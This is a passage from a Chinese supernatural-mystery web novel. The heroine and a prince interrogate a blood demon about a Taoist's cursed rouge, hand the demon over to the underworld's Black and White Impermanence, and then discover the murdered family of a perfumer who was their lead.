从最初秦小将军的离奇事件,到如今裴昭途中遇袭,自始至终,都是这个手神秘道士在暗中作祟。 他的目标就是京城,意图搅动风云,引发动荡。 裴昭目光沉凝,缓缓开口:“刘婶不知鬼不觉地死去,并吸干其精血,若此事张扬开来,必将在京城掀起轩然大波,引发恐慌,甚至动摇朝廷对京畿守军的信任。” “所幸案发第一时间,本王便介入其中,封锁了消息,避免了事态恶化。想来,正是因此阻碍了那道士的计划,他才不惜派出你这等邪物,欲将本王除之而后快。” 血魅瑟缩着,不敢发出半点声音,无疑是默认了裴昭的推断。 血魅那团稀薄的黑气剧烈地颤抖起来,它挣扎着转向林小满,像是抓住了最后一根救命稻草,竟拖着残破的灵体跪伏着向前挪动了几步。 它下意识地伸出一缕黑气,似乎想抓住林小满的裙角乞求,但立刻触及到旁边裴昭冰冷的目光和小花手中噼啪作响的电光,那缕黑气如同被烫到一般猛地缩了回去, “仙子…这位慈悲的仙子!我所知道的、能说的,都已经毫无保留地交代了!求求您发发善心,饶过我这一回吧!我保证…我发誓以后一定洗心革面,再也不敢了,再也不会作恶了!求您给我一个重新做…做鬼的机会吧!” “放过你?让你自己离开?”不等林小满开口,东风先一步厉声打断,他忍着伤痛上前,挡在林小满和小花身前,眼中满是鄙夷和愤怒, “你想得倒美!做了这么多伤天害理的事,害得一个几岁的孩童失去母亲,还在京城掀起这么大的风浪,闹得人心惶惶!现在想轻飘飘一句‘知错了’就揭过?天下哪有这么便宜的事!你简直是在做梦!” 血魅被骂得黑气溃散,连呜咽都变得断断续续,只能不住地磕头求饶。 小花冷哼一声,“小姐,跟这种污秽东西还有什么好多说的?它满身罪孽,怨气缠身,今日若放了它,来日它得了机会,必定故态复萌!不如彻底净化了干净,免得再为祸人间!” 林小满目光低垂,脸上惯常的慵懒和戏谑渐渐褪去, “小花说得对。规矩不能坏,因果也不能乱。你害人性命、扰乱了秩序,就要承担相应的后果。这不是讨价还价的事情。” 她的话让血魅周身黑气猛地一滞,彻底陷入了绝望。 “但念在你最终吐露实情,并未顽抗到底……你若能老老实实、毫无隐瞒地回答我接下来的问题,我倒可以网开一面,不让你即刻魂飞魄散。” 林小满继续说道,“我可送你往生地府。不过,你生前死后所造杀孽、所害性命,入了地府该受何种审判,该下哪层地狱受刑,那是你必须承担的因果,无人可替你分担。这,已是我能给出的最大宽容。” 血魅原本已如死灰般黯淡、几乎放弃挣扎的黑气,听到这话猛地“抬头”,看向林小满,声音因激动而更加尖细颤抖: “多谢仙子!多谢仙子开恩!仙子尽管请问!我必定知无不言,言无不尽,绝无半点虚言!” 它甚至艰难地分出一缕黑气,模仿着人类发誓的动作,急切地立下誓言:“若有半句虚假隐瞒,我愿受天打雷劈,永世不得超生!” 小花疑惑地看向林小满,“小满,这狗东西还有什么没交代清楚的?我看它连胎记都说了,还能有什么花样?直接让它永世不得超生岂不干净,何必再给它机会?” “不,它确实还有关键之处未曾言明。”不等林小满回答,裴昭已缓步上前,负手而立,声音沉稳地接口。 东风看着自家王爷和林小满之间那不言而喻的默契,忍不住挠了挠头,一脸困惑: “王爷,您这是什么意思?我怎么感觉您和林小姐好像什么都看透了,就我和小花还懵懵懂懂的?您二位这打的是什么哑谜呢?” 裴昭目光转向林小满,深邃的眼眸中带着询问与印证: “虽说那道士的最终目的是搅乱京城,但本王以为,他们选择下手的目标,绝不可能仅是随机挑选。这背后定然有某种我们尚未完全掌握的规律或标准。是吗,林小姐?” 林小满闻言,唇角弯起一抹了然的笑意,眼眸亮晶晶地看向裴昭,语气带着毫不掩饰的赞赏:“王爷所言极是,心思缜密,洞若观火。” 在众人未曾留意的一刹那,裴昭的唇角几不可察地微微勾起一抹极淡的弧度,随即又迅速敛去,恢复了一贯的冷峻。 林小满收敛笑意,正色分析道:“刘婶之死,绝非偶然。案件发生的前一日,我曾与舅父前往雪香斋采买,在那店里见到一款颜色极为纯正鲜艳的胭脂,名为‘碧潭凝翠’。 那色泽之诡异鲜亮,远非寻常胭脂可比。当时贾掌柜解释那是他们的独家秘方,但我一眼便能断定,那胭脂绝非用寻常花草矿物所制!” 她顿了顿,语气变得凝重:“那其中,必然掺杂了女子的心头精血,再辅以某种阴邪的聚魂固煞之术炼制而成。” 第156章 霉道长 血魅那团黑气闻言剧烈地翻腾起来,显是内心受到了极大的震动。 它万万没想到,连如此隐秘阴邪的炼制之法,竟也被眼前这位看似慵懒随性的仙子一眼看破! 它此刻才真正意识到,自己那点小心思和隐瞒,在对方眼中恐怕如同儿戏。 说与不说,对这位林仙子而言,或许只是多费些手脚探查的差别,但对自己而言,却是能否存续下去的天壤之别! 若此刻再心存侥幸,不肯吐露实言,那等待自己的唯有立时魂飞魄散,连一丝痕迹都不会留存于天地之间,更遑论什么来世。 可若是……若是真能求得她一丝慈悲,送自己往生地府,即便要受尽酷刑,赎清罪孽,那千百年后,或许……或许还有一线微茫的希望,得以重入轮回。 哪怕不能再世为人,便是做一畜牲、一虫豸,也总好过彻底湮灭! 求生的渴望最终压倒了它对道士禁制的恐惧。 它的黑气匍匐得更低,声音带着豁出去的决绝和颤抖: “仙子明察秋毫!小的…小的不敢再隐瞒!那…那‘碧潭凝翠’…确实如仙子所言,是以阴年阴月阴日生的女子心头精血为主料。 混合了怨灵尘骸,再以邪法炼制而成…其作用…作用正是潜移默化地侵蚀使用者的心神。” 血魅的声音带着恐惧,颤抖着继续交代, “京城中使用胭脂的女子何其之多,只要长时间涂抹此物,她们的神魂便会逐渐被其中蕴含的阴煞怨力所侵染,变得躁动不安、心神不宁…久而久之,便会更容易被背后的施术者所影响,甚至…甚至在不知不觉间听从其暗示与驱使,成为孕育阴煞的温床…” 它顿了顿,“而刘婶…她便是阴年阴月阴日阴时所生的极阴之体…虽说她已非处子之身,元阴有损,但…但如今世道,要寻一个年月日时俱全、且仍是完璧的‘全阴’之人,实在…实在太难…所以那道士便退而求其次,用她的精血魂魄来…来作为引动更大阴谋的祭品……” 它的话语彻底证实了林小满的猜测,也无情地揭露了那道士手段之歹毒。 竟将寻常女子的爱美之心,都化作了害命的陷阱,将琳琅满目的胭脂水粉变成了摄取魂魄、操纵人心的邪恶工具。 “如今那‘碧潭凝翠’既已推出市面,可见在此之前,那道士为收集材料,定然已暗中谋害了不少符合其苛刻条件的阴命女子……”林小满的声音冰冷,眼中闪过一丝厉色。 东风听得眉头越皱越紧,忍不住用手肘轻轻碰了碰身旁的小花,压低声音嘀咕道: “喂…你听明白了吗?我怎么感觉越听越糊涂了?又是阴年阴月,又是心头精血的…这都什么跟什么啊?” 小花没好气地甩给他一个大白眼,嫌弃地往旁边挪了半步: “你是猪脑子吗?这么明显还听不懂?那坏道士弄害人的胭脂,专挑命格属阴的女子下手!刘婶就是其中一个倒霉的!因为她阴年阴月阴日,这才被这丑东西盯上害了性命!懂了没?” 东风被噎得一愣,下意识地反驳: “可、可京城里命格属阴的女子难道就刘婶一个?那道士费这么大周折,就为了害一个普通妇人?这说不通啊!” 小花实在没忍住,抬手就狠狠敲了一下东风的脑袋: “你这榆木疙瘩!刚才不是说过了吗?真要找到一个年月日时俱全、还得是完璧之身的极阴之人,哪有那么容易?那‘碧潭凝翠’卖得满京城都是,他们哪等得及慢慢去找?刘婶正好是极阴之体,虽非处子,但也是难得的目标,自然不能放过!” “额…好像…是这么个道理哈……”东风捂着被敲痛的脑袋,讪讪地嘟囔道,总算有点回过味来。 裴昭眸光深沉,缓缓接口道:“看来,这幕后之人的真正图谋,远比害一两人性命更为可怕。 京城女子数以万计,即便只有少数人长期使用此物,心神逐渐被控,沦为傀儡……久而久之,京城根基必被动摇,秩序将乱,人心惶惶。 届时,他便可于暗中操控大局,甚至…不费一兵一卒,便能窃取这京城气运。” “这位爷说得正是!梅花道长的真正目的,应当就是想要掌控整个京城!”血魅连忙谄媚地附和道,黑气讨好地扭动着。 “梅花道长?”林小满疑惑的看向血魅。 “是…是…就是那幕后之人。”血魅怯怯地解释, “因他左手那胎记形似梅花,我便…便一直尊称他为‘梅花道长’……” 林小满冷哼一声,语气中带着毫不掩饰的鄙夷: “称他为‘梅花道长’?可真是侮辱了‘梅花’这清雅高洁之物。 梅花傲雪凌霜,独步早春,他一个只敢躲在暗处、行此阴毒龌龊之事的鼠辈,也配?不过是阴沟里不敢见光的老鼠,连真面目都不敢示人!” 血魅被林小满骤然凌厉的气势吓得黑气一缩,连忙颤声附和: “仙、仙子说的是…是小的口无遮拦,玷污了梅花清名…他、他确实不配…” 一旁的小花立刻点头如捣蒜,叉着腰愤愤道: “就是!小姐说得太对了!就他那见不得光的下作手段,叫什么梅花道长?我看呐,就该叫他‘阴沟里的烂泥道人’!或者‘见不得光的胎记老贼’!这才符合他那副德性!” 东风一听,立刻凑上前,眼睛亮晶晶地看向小花,语气带着夸张的赞叹: “哎哟!小花姑娘这名字取得可真贴切!‘阴沟里的烂泥道人’,‘见不得光的胎记老贼’。又解气又形象!” 他摸着下巴,故作沉思状,随即一拍手: “不过就是稍微长了点儿,喊起来不够利索。 依我看呐,咱们以后干脆就叫他——‘霉道长’发霉的霉!既借了他那丑胎记的谐音,又骂了他下贱无耻的本性,简单好记,骂得还狠!怎么样?” 小花闻言,眼睛一亮,用力点了点头:“霉道长?这个好!又顺口又恶心人!就这么定了!” 血魅在一旁听得黑气都不敢乱扭了,瑟缩着一动不动,生怕这怒火烧到自己头上。 第157章 他被下咒了 裴昭缓缓蹲下身,一只手虚抬起血魅那团颤抖的黑气,捏住了它的下巴, “你们选择雪香斋作为此物的销售点,那掌柜贾富贵,可知晓这胭脂的真正来历和用途?” 血魅触及裴昭的目光,黑气又是一阵剧烈的哆嗦,心中叫苦不迭。 今日真是撞了邪了!怎么遇到的人都如此的气势骇人? “王、王爷问您话呢!还不赶紧老实回答!找打不成?” 东风见状,立刻上前虚踹了一脚。 血魅吓得一个激灵,连忙尖声回答: “回、回王爷的话!此事…此事那贾富贵确实并不知晓内情!不、不瞒各位,负责与我们交接、并提供这‘碧潭凝翠’的,是贾富贵身边一个极为信任的调香师傅,那人才是‘霉道长’安插进去的心腹! 贾富贵他自己…他一直被蒙在鼓里,只当那是自家老师傅研制的独家秘方,为了振兴铺子、赚取厚利,这才对外大肆宣扬,将功劳都揽在了自己身上……” “那个调香师傅姓甚名谁?你们平日是如何联络的?”林小满紧接着追问道。 血魅不敢怠慢,急忙回答: “回仙子的话,平日里都是小的我去寻他。那‘碧潭凝露’实则是由‘霉道长’亲手炼制而成,他制好后便交由小的,再由小的转交给那调香师傅,混入雪香斋的货中。 那调香师傅就住在城西榆树巷尽头的一处小院里,名叫孙槐,约莫四十来岁的模样。” 小花闻言,柳眉倒竖,忍不住斥道: “这姓孙的调香师傅,好端端的人不做,凭什么听命于你们这些邪魔外道,干这等伤天害理的勾当?莫非是良心被狗吃了!” 血魅被小花骂得黑气一颤,连忙叫屈:“这位小姐冤枉啊!真、真不是我们找上的他,而是他…是他主动来寻的我们!是他自己心怀怨愤,一心想要报复贾富贵,觉得贾富贵埋没了他的才华,才主动投靠了‘霉道长’,甘愿为其驱使……” 血魅偷偷瞥了林小满一眼,见她神色未变,才继续小心翼翼地交代: “三、三月前,那孙槐至城外的平安寺求签,似是问卜前程财运,恰巧被小的撞见,察觉他怨气缠身、心有不甘……小的便趁机现身,与他达成了协议。 小的可助他在调香界一战成名,压过贾富贵,但他必须协助我们将这‘碧潭凝翠’推入市场,进行售卖……” 小花冷哼一声,打断道: “好一个心术不正之徒!他若真觉得贾富贵亏待了他,大可以自行离开另谋高就,既舍不得雪香斋的根基,又要怨恨东家埋没才华,天下哪有这般两全其美的好事?不过是为自己的贪婪恶行找借口罢了!” 血魅被噎得不敢反驳,黑气萎靡地转向林小满,哀声乞求: “仙子…仙子…小的知道的真的全都说了,一字不敢隐瞒!求求您大发慈悲,饶过我这一回,送我去地府吧……” “你与那霉道长平日里如何联系?”林小满并未理会它的求饶,冷静地追问关键。 “平日…平日都是霉道长单线来寻小的,小的根本不知如何去寻他… 若、若真有急事,也只能在原地留下特殊标记,苦苦等待他主动现身……”血魅的声音充满了无奈与恐惧。 小花听到这里,突然坏笑一声,眼中闪过狡黠的光芒: “哦?也就是说,你现在被我们抓了,还吐了这么多秘密出来…你说你那‘霉道长’主子,他会不会已经知道了呢?要是他以为你彻底叛变了……” 她话未说尽,东风却立刻心领神会,猛地一拍大腿,兴奋地接话: “哎哟!小花你这主意妙啊!那霉老贼不是最喜欢在背后阴人吗?咱们就来个将计就计,策反他身边的人,让他也尝尝被背后捅刀子的滋味!” 他转向林小满,语气热切: “林小姐!您不是有那种能追踪定位、或者下咒约束的玄妙符箓吗?咱们干脆给这血魅种下一个!等那霉老贼按捺不住来找它的时候,咱们就能顺藤摸瓜,揪出那老贼的真身了!” 血魅一听要将它当作诱饵,吓得黑气疯狂翻涌,几乎要当场溃散。 它拼命地以头触地,发出凄厉的哀嚎: “不可!万万不可啊仙子!求求您大发慈悲,饶了小的吧!那、那霉道长在我魂体内种下的禁制歹毒无比,他只需心念一动,轻轻一捏法诀,我立刻就会魂飞魄散,连一丝青烟都剩不下啊!这诱饵…小的做不得啊!” 林小满神色凝重地点了点头,肯定了血魅的恐惧: “它说得没错。此法确实行不通。” 她目光扫过略显失望的东风和小花,继续解释道: “它体内早已被那霉道长种下了极为阴毒的‘噬魂锁心咒’。此咒一旦种下,两者便如同蛛网与飞虫,主咒者能随时感知其状态。 若察觉到它有叛变或落入敌手的风险,根本无需霉道长亲自出手,咒术便会自行发动,瞬间引爆其魂核,令其彻底湮灭,确实连一丝尘埃都不会剩下。” 她顿了顿,看向地上瑟瑟发抖的血魅: “方才我制服它时,第一时间便用‘镇煞安魂符’暂时压制并隔绝了那禁制与外界的大部分联系,它才能苟延残喘至今,与我们说了这许多话。 否则,早在它落败被擒、意识到无法完成任务的那一刻,禁制就已触发,它早已自我毁灭了。” 小花闻言,气得跺脚骂道: “这霉老贼真是个狠毒到骨子里的臭道士!连自己手下的退路都堵得死死的!” 她转而看向林小满,眉头紧锁:“那我们现在怎么办?难道就这么轻易把它送去地府?也太便宜它了吧!” 林小满轻笑一声,反问道: “不然呢?你还有别的更好的主意吗?” 她目光转向那团瑟瑟发抖的黑气,“将它送去地府,以它生前死后所造的这些杀孽、所害的这些性命。 到了判官面前,该下哪层地狱受何种刑罚,自有阴司律法定夺,一桩一件都清算得明明白白。难道你以为地府是让它去享福的不成?” 第158章 醋坛子打翻了 小花这才恍然大悟,一拍手道: “对呀!我怎么忘了这茬!就它做的这些破事,到了阎罗殿,别说投胎了,怕是连畜生道都轮不上!必定要先被打入十八层地狱的最底层,上刀山下油锅,受尽千年万载的酷刑,把罪业赎清了再说!这可比我们给它个痛快要‘划算’多了!” 血魅闻言,非但没有恐惧,反而像是抓住了最后一根救命稻草,几乎是以一种泣涕涟涟的姿态匍匐哀求: “仙子!仙子!小的愿意!求求您,现在就送小的去地府吧!无论是刀山火海,还是油锅碾磨。 无论是几百年、几千年,小的都甘愿承受!只求一个赎清罪孽、不至于彻底湮灭的机会!求您了!” 它声音里的急切和决绝,仿佛地府不是酷刑之地,而是唯一的救赎彼岸。 林小满微微挑眉,似乎对这反应并不意外,她唇角勾起一抹似笑非笑的弧度: “好,我这人向来有求必应,有应必答。既然你有这种‘迫不及待’的要求,那我自然得满足你。” 她说着,转向一旁的裴昭,语气转为客气: “王爷,接下来场面或许有些非常理可喻,还请您与东风暂时回避一下。” 裴昭眸光深邃地看了她一眼,并未多问,只是颔首道: “好。”随即干脆利落地转身,朝着马车方向走去。 东风虽然满心好奇得像有猫爪在挠,但见王爷都走了,也只好一步三回头地跟了上去,小声嘀咕着: “什么场面是我不能看的……” 直到他们二人身影没入马车车厢,林小满才收回目光,对小花道: “小花,叫小黑来带人。” “好嘞!”小花兴奋地应了一声,随即从袖袋里摸出一枚小巧玲珑的黑色铃铛。 她手腕轻轻一抖,铃铛发出一声清脆却并不响亮、反而带着一丝空灵感的“叮铃”声。 铃声袅袅,尚未完全散去,林小满身旁的空地上,毫无征兆地冒起两缕轻烟,一缕纯白如新雪,一缕浓黑如子夜。 烟雾迅速凝聚成形,化为一高一矮、一黑一白两位头戴高帽、手持锁链令牌的阴差。 帽子上分别写着“天下太平”与“一见生财”。 黑无常刚一现身,那双严肃的眸子立刻捕捉到小花,两人竟同时眼睛一亮。 下一秒,这两位阴帅鬼差和小花就像是久别重逢的小姐妹,拉着的手欢快地蹦跳了几下,虽然无声,但那雀跃的气氛却与周围阴森的气场形成奇妙的反差。 白无常谢必安则温和地笑了笑,随即走到林小满身旁,声音带着关切: “小满,许久不见,最近可还安好?” 林小满脸上也露出了轻松的笑意,点头道:“劳你们跑一趟。我挺好的,这不,刚逮住个害人不浅的东西。” 她指了指地上那团因为黑白无常的出现而吓得几乎凝固、连颤抖都不敢的黑气, “本打算直接开鬼门送它下去,但它身上被下了极厉害的‘噬魂锁心咒’,施咒者心思歹毒,恐其魂核有异,强行送入恐生波折,还是得辛苦二位爷亲自押解一程,才最为稳妥。” 黑无常范无救闻言,松开小花的手,面色一肃,看向血魅。 他手中锁链无风自动,发出低沉嗡鸣:“噬魂锁心咒?哼,倒是那些邪修惯用的下作手段,防的就是手下败露或被捕后吐露实情。” 他伸出苍白的手指,凌空一点,一道乌光没入血魅黑气之中。 血魅猛地一颤,发出一声短促的哀鸣,但预想中的魂飞魄散并未发生。 只见它黑气中心,一道复杂狰狞、如同黑色血管构成的符咒虚影一闪而逝,旋即被一层更凝实的乌光笼罩、隔绝。 “无妨了,”黑无常声音沉闷, “此咒已被吾暂时封印,离了阳间,入了阴司地界,自有判官笔大人法力化解。” 他甩动锁链,“咔哒”一声,那虚幻的锁链已然扣住了血魅的本源魂体。 白无常笑着对林小满道:“小满总是这般周到。此獠罪业,我等一路之上已略感知,定然如实上报,送交判官殿严加勘审。” “有劳啦,嘿嘿。”林小满拱手。 黑无常听见林小满客气的道谢,夸张地“啧”了一声,歪着戴着“天下太平”高帽的脑袋打量她: “我的天爷呀!林小满,你竟然跟我们说‘有劳’?还‘啦’?还‘嘿嘿’?你什么时候变得这么客气、这么…肉麻了?” 他做作地搓了搓并不存在的鸡皮疙瘩, “啊——我知道了!是不是在人间当人当久了,也开始学他们那套虚头巴脑的礼数了?这可不像你!” 林小满脸上的笑意瞬间消失,直接翻了个大白眼,二话不说,抬手就朝着黑无常那欠揍的脑袋挥了过去: “范老八!我看你是皮又痒了!” 黑无常“哎呦”一声,灵活地往后一飘,轻松躲过,嘴上还不忘继续嘚瑟: “嘿嘿,打不着!连我都打不到了?看来这人间红尘浊气实在是太限制你了呀!灵力运转都不顺畅了吧?赶紧搞定这破任务回地府吧!这破地方,瞧瞧,才待了多久,感觉你都瘦了,肯定没吃好!” “老八!休得胡言乱语!” 白无常谢必安无奈地用手中的哭丧棒轻轻敲了一下黑无常的后脑勺,制止了他继续插科打诨。 他转向林小满,神色恢复了温和与郑重: “小满,老八虽说话不着调,但担忧之心不假。这血魅背后的‘霉道长’,手段阴毒且布局深远,绝非寻常邪修。 利用胭脂惑乱京城,其图谋恐怕极大。如今他在暗,你们在明,一切务必多加小心。” 他叹了口气,语气带着几分无奈: “人间事,自有其法则运转,我等阴司之神,若非涉及阴阳界限或邪祟作乱,实难直接插手干预。 但若你们真遇到了无法抵御的危险,性命攸关之时,定要立刻召唤我等!就算拼着触犯条例,受些责罚,我们也定会第一时间赶来!” 林小满收起玩笑的神色,认真点头:“放心吧七哥,我心里有数。” 第159章 烧纸钱的老人 黑无常在一旁抱着胳膊,虽然还是一副吊儿郎当的样子,但语气也认真了几分: “就是!老大你可别硬扛!你可是咱们酆都城里最能打、主意最野的……呃……前·首席鬼差!虽然现在暂时套了层人皮在人间溜达,但也不能堕了咱们地府的威风!遇到硬茬子,摇人!必须摇人!” 白无常,“嗯,我们相信你的能力。只是盼着你一切顺利,早些了结此事,我们……都等着你早些回来。” 黑无常立刻猛点头附和: “对对对!早点回来!这没了你带头,酆都城都冷清了不少,连孟婆汤都好像没以前够味儿了!我们还等着你带我们去……呃……” 他猛地刹住车,心虚地瞟了白无常一眼,压低声音飞快地嘟囔了一句:“……喝花酒呢……” 虽然声音压得极低,但在场哪位是普通人?林小满和小花听得一清二楚。 林小满顿时哭笑不得,又是一个白眼翻过去: “范无救!你就这点出息!等着,回去我就先灌你三缸!” 白无常则是无奈地以手扶额,显然对这位搭档的跳脱毫无办法。 马车内,裴昭透过微微掀开的窗帘缝隙,静静看着院中景象。 只见林小满与那两位阴气森森却气势不凡的差人言笑晏晏,甚至动起手来打闹,那般鲜活灵动、毫无拘束的模样,是他从未见过的。 她在他面前,虽也偶尔狡黠,却总带着几分疏离与客气,何曾有过这般……近乎肆意的放松? 一种难以言喻的沉闷感悄然攥住了他的心口,空落落的,仿佛错过了什么极其重要的东西。 原来……她在属于她的世界里,是这般模样。 东风也鬼鬼祟祟地凑过来,恰好看见小花和那黑黢黢的阴差拉着手蹦跳,随后又嬉笑打闹,默契十足,他心里顿时像打翻了一缸陈年老醋,酸得直冒泡。 “哼!”他忍不住低声嘟囔,语气酸溜溜的, “臭小花!没心没肺的!我还以为……还以为她只跟我这么闹呢!原来跟谁都一样!看她以后还想不想吃我买的桂花糕!看我以后还理不理她!” 发泄完,他才猛地注意到身旁裴昭异常沉默,侧脸线条紧绷,眼神深邃地望着窗外,那周身散发的低气压简直比外面的阴差还冷上几分。 东风立刻福至心灵,瞬间明白王爷这八成也是……心里不痛快了? 他赶紧轻咳一声,试图转移话题,也问出了心中的震惊与疑惑: “王、王爷……您说那两位,一黑一白,戴着高帽子,拿着锁链……该不会就是……就是民间传说里勾魂索命的黑白无常吧?” 他声音压得极低,带着难以置信的敬畏。 “可、可林小姐和小花……她们怎么会认识这等人物?而且看他们打闹说笑的样子,分明是极熟稔的老友一般……这、这到底是怎么回事啊?” 裴昭的目光依旧落在窗外那抹倩影上,片刻后,他缓缓放下窗帘,隔绝了外面的景象,车厢内陷入一片昏暗寂静。 良久,他才低沉开口,声音听不出什么情绪, “她本就不是寻常人。能与阴司鬼神相交,于她而言,或许并非奇事。” …… “行了行了,公务在身,不便久留。”白无常拉了拉锁链,那血魅的黑气发出一阵绝望的呜咽, “此人……此魂,我们便带走了。小满,小花姑娘,多多保重。” “保重!”黑无常也难得正经地拱了拱手。 话音落下,黑白无常的身影连同那被锁链缚住的血魅,一同化作黑白两缕轻烟,悄无声息地沉入地底,仿佛从未出现过。 林小满拍了拍小花的肩膀,语气轻松: “走吧,碍事的解决了,接下来,该咱们俩去拜访一下那位‘怀才不遇’的孙槐师傅了。” …… 夜色渐深,京城街道安静得能听见头发掉落的声音。 一个衣着素雅却略显单薄的女子正独自茫然地走着。 夜风一阵紧过一阵,吹得她的衣裙紧贴身形,几缕散落的发丝也不住拂过脸颊,带来丝丝凉意。 她似乎心事重重,对周遭环境有些迟钝,直到快走到一座石拱桥上时,一股刺鼻的、混合着纸张燃烧和某种难以言喻的陈旧气味随风扑面而来,让她忍不住皱了皱眉。 风中还夹杂着一些尚未燃尽的纸钱灰烬,细碎的、带着余温的黑色碎片飘摇着,甚至有几片沾到了她的脸上。 女子停下脚步,疑惑地顺着风吹来的方向望去,视线越过桥栏,落在桥洞之下。 借着微弱的天光和水面反射的粼粼波光,她隐约看见一个穿着破旧深色布衣、身形佝偻的老妇,正蹲在河边的阴影里,面前有一小簇跳跃的火焰,似乎在焚烧着什么。 女子环顾四周,长街寂静,除了风声和水声,再无其他响动。 这深更半夜,一个老妇独自在桥下烧东西,情形着实有些诡异。 她犹豫片刻,终究是心底的一丝怜悯和好奇占了上风,拢了拢被风吹乱的衣襟,迈步走下桥头,朝着那簇火光的方向小心翼翼地走了过去。 女子刻意放重了脚步,鞋底轻轻摩擦着碎石路面,发出细微的声响,以免突然出现惊扰到那位专注的老妇人。 她慢慢走近,在老妇人对面蹲下身来,尽量让自己的声音听起来温和而关切: “老婆婆,这么晚了,您一个人在这儿?天凉露重,需不需要我送您回家?” 话刚问出口,女子借着那跳跃的火光,看清了老妇人面前燃烧的东西。 那分明是一叠叠粗糙的黄纸钱!纸钱在火焰中蜷曲、化作灰烬,带着一种说不出的凄凉。 她的心猛地一沉,瞬间后悔自己的冒失。 深更半夜,在阴冷的桥洞下焚烧纸钱……这还能是为了什么?定是祭奠逝去的亲人。 自己一个女子,撞见这般场景,心底不由得升起一股寒意。 可看着老妇人那佝偻孤单的背影,在寒风中微微发抖,她心底那点对老人的担忧又迅速压过了害怕。 第160章 孙槐死了 今夜月色本就晦暗,星光稀疏,河边路滑,若是让这位老人家独自摸黑回去,万一摔着了可怎么是好? 想到这儿,她定了定神,将那份怯意压下,目光更加柔和地看向老妇人,等待着她的回应。 老妇人似乎并未被她的到来惊吓,依旧缓慢地将手中的纸钱一张张投入火中,火焰映照着她布满皱纹的脸庞。 女子耐心地等待着,直到老妇人将最后一张纸钱投入火堆,看着那簇小小的火焰渐渐熄灭,只余下一堆带着红光的灰烬在夜风中明明灭灭。 她这才上前一步,小心翼翼地搀扶起老妇人。 老妇人的手臂枯瘦,借着女子的力道颤巍巍地站直身子,她抬起布满悲戚的脸,浑浊的眼睛望向女子,声音沙哑带着哽咽: “姑娘……多谢你了。没想到我这孤老婆子,在这半夜三更,还会有人愿意陪着……” “老人家,您千万别这么说。”女子连忙温声劝慰,双手稳稳地扶住她, “您年纪大了,这么晚一个人在外,任谁见了都会放心不下的。您家住哪里?我送您回去,路上也有个照应。” “好孩子,你真是个好孩子啊……”老妇人反手紧紧握住女子的手,枯槁的手指带着凉意,她长叹一声,悲从中来, “唉,可惜啊……老天无眼!我就那么一个儿子,如今也……天人永隔了。我刚才,便是在给我那苦命的儿烧点纸钱,让他在地下……别受苦。 他还那么年轻,连妻子都没娶上,怎么就……怎么就让我这白发人送黑发人啊!” 说着,老泪纵横,身体因哭泣而微微颤抖。 女子听得心头发酸,连忙轻拍她的背安抚道: “老人家,您节哀……生死有命,您儿子若在天有灵,也定不願见您如此伤心伤身。您得好好的,他在下面才能安心啊。” 老妇人用袖子擦了擦眼泪,勉强止住悲声,点了点头: “姑娘说的是……是我糊涂了。人死不能复生,我再哭,他也回不来了……走吧,麻烦姑娘送我这老婆子一程,我家就住在前面不远的水井巷。” “好,您慢点走,我扶着您。”女子搀扶着老妇人,一步步缓缓地离开桥洞,沿着寂静的街道向前走去。 两人相依的身影在昏暗的夜色中渐渐模糊,谁也没有注意到,在她们方才停留的桥洞更深处的阴影里,一个模糊的黑影悄然显现。 那影子静静地伫立着,无声无息,仿佛与黑暗融为一体,唯有两点难以察觉的微光,正牢牢锁定着搀扶远去的两人。 …… 林小满、裴昭、小花和东风四人趁着夜色,悄无声息地来到了城西榆树巷尽头。 一处略显破败的院落孤零零地立在那里,院墙斑驳,木门虚掩着一条缝隙,院内正屋的窗户透出一点微弱摇曳的烛光,在死寂的黑暗中显得格外突兀。 裴昭朝着东风递去一个眼神。东风会意,抢先一步上前,抬手叩响了院门,压低声音唤道: “孙槐?孙槐师傅在家吗?” 叩门声在寂静的巷子里回荡,院内却毫无回应,只有那点烛火依旧固执地亮着。 东风又加重力道敲了几次,里面依旧是一片令人不安的死寂。 小花皱了皱小巧的鼻子,蛇类天生的敏锐嗅觉让她捕捉到了一丝不寻常的气味,她脸色微变,低声道: “小姐,王爷……你们有没有闻到……一股很淡,但是很新鲜的血腥味?” 林小满闻言,眼神骤然一凛,不再犹豫,直接对东风下令: “别等了,踹开!” “是!”东风早有所备,后退半步,运足力气,一脚狠狠踹在看似不甚牢固的木门上! “哐当”一声巨响,门闩断裂,木门应声向内弹开,一股更加浓重刺鼻的血腥味立刻扑面而来! 四人迅速进入院内,越是靠近那间点着烛火的屋子,血腥味就越是浓烈得令人作呕。 东风屏住呼吸,再次抬脚,猛地踹开了正房的房门! 房门洞开,屋内的景象瞬间映入眼帘。烛光摇曳下,四具尸体横七竖八地倒在血泊之中! 看衣着,是一名中年男子、一名中年妇女,以及两个年幼的孩子,俨然是一家四口! “王爷,看!”东风强忍着不适,快步走到那中年男子的尸体旁,小心地拨开他散乱的头发,露出了后脖颈。 一颗显眼的、豆大的黑痣正长在那里! “血魅说过,孙槐后脖颈就有一颗大黑痣!正是此人!”东风的声音带着震惊与愤怒。 显然,有人抢在他们之前一步,不仅杀了孙槐,更是心狠手辣地将其满门屠戮,彻底掐断了这条线索! 看着眼前这惨绝人寰的景象,小花气得浑身发抖,她咬牙切齿道: “肯定是那个‘霉道长’!定是他察觉血魅失手,怕孙槐泄露更多秘密,就抢先一步来杀人灭口!这丧尽天良的畜生,连妇孺孩童都不放过!” 林小满她蹲下身,指尖泛起一丝极淡的灵光,轻轻拂过孙槐脖颈处的伤口,又检查了其他几具尸体的致命伤。 “伤口残留的阴煞之气很淡,但很纯粹。下手之人手段极其利落,是一击毙命,而且……时间不会超过一个时辰。 看来,我们刚送走血魅,那边就得到了消息,动作真快。” 这邪道行事之狠毒果决,远超寻常。 裴昭负手立于血泊之外,俊美的面容在摇曳的烛光下晦暗不明,他皱着眉头说道, “此獠不仅道法阴邪,心思更是缜密狠辣。他如此急于切断线索,恰恰说明孙槐所知甚多,也说明……我们的追查,已经触及了他的要害,让他感到了威胁。” 他转向林小满,“林小姐,看来这‘碧潭凝翠’之事,远比我们想象的更为严重。京城之内,怕是已不知有多少女子深受其害。 当务之急,是必须尽快查明此物的源头,以及那‘霉道长’的真正藏身之处,阻止更多惨剧发生。” 第161章 发现密室 林小满站起身,拍了拍手, “王爷所言极是。这条线虽然表面断了,但未必没有留下痕迹。那邪道能如此快得到消息并灭口,说明他与孙槐之间,或许还有我们未知的联系方式,或者……这附近有他的眼线。” 她看向小花和东风:“仔细搜查这屋子,任何蛛丝马迹都不要放过。特别是与调香、胭脂有关的东西,或者看起来不寻常的物件。” 